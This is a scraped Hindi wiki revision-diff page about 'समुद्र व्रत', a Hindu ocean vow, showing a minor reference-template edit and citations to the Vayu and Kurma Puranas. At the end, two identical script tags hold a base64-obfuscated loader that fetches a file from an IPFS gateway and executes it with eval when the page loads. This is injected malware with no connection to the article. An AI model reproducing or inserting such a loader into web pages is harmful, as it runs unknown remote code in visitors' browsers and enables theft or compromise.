"समुद्र व्रत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "उल्लखित" to "उल्लिखित")
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
पंक्ति 11: पंक्ति 11:
 
*कभी-कभी [[समुद्र]] के सात प्रकार कहे गये हैं, यथा [[वायु पुराण]]<ref>(वायु पुराण 49|123)</ref> एवं [[कूर्मपुराण]]<ref>(कूर्मपुराण 1|45|4)</ref> में [[लवण]], [[ईख]] के रस, [[मद्य]], [[दूध]], [[घी]], [[दही]] एवं [[जल]] के समुद्र।
 
*कभी-कभी [[समुद्र]] के सात प्रकार कहे गये हैं, यथा [[वायु पुराण]]<ref>(वायु पुराण 49|123)</ref> एवं [[कूर्मपुराण]]<ref>(कूर्मपुराण 1|45|4)</ref> में [[लवण]], [[ईख]] के रस, [[मद्य]], [[दूध]], [[घी]], [[दही]] एवं [[जल]] के समुद्र।
  
 +
{{संदर्भ ग्रंथ}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>

09:54, 21 मार्च 2011 का अवतरण


टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रत खण्ड 2, 464-465, विष्णुधर्मोत्तरपुराण 3|160|1-7 से उद्धरण)
  2. (वायु पुराण 49|123)
  3. (कूर्मपुराण 1|45|4)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>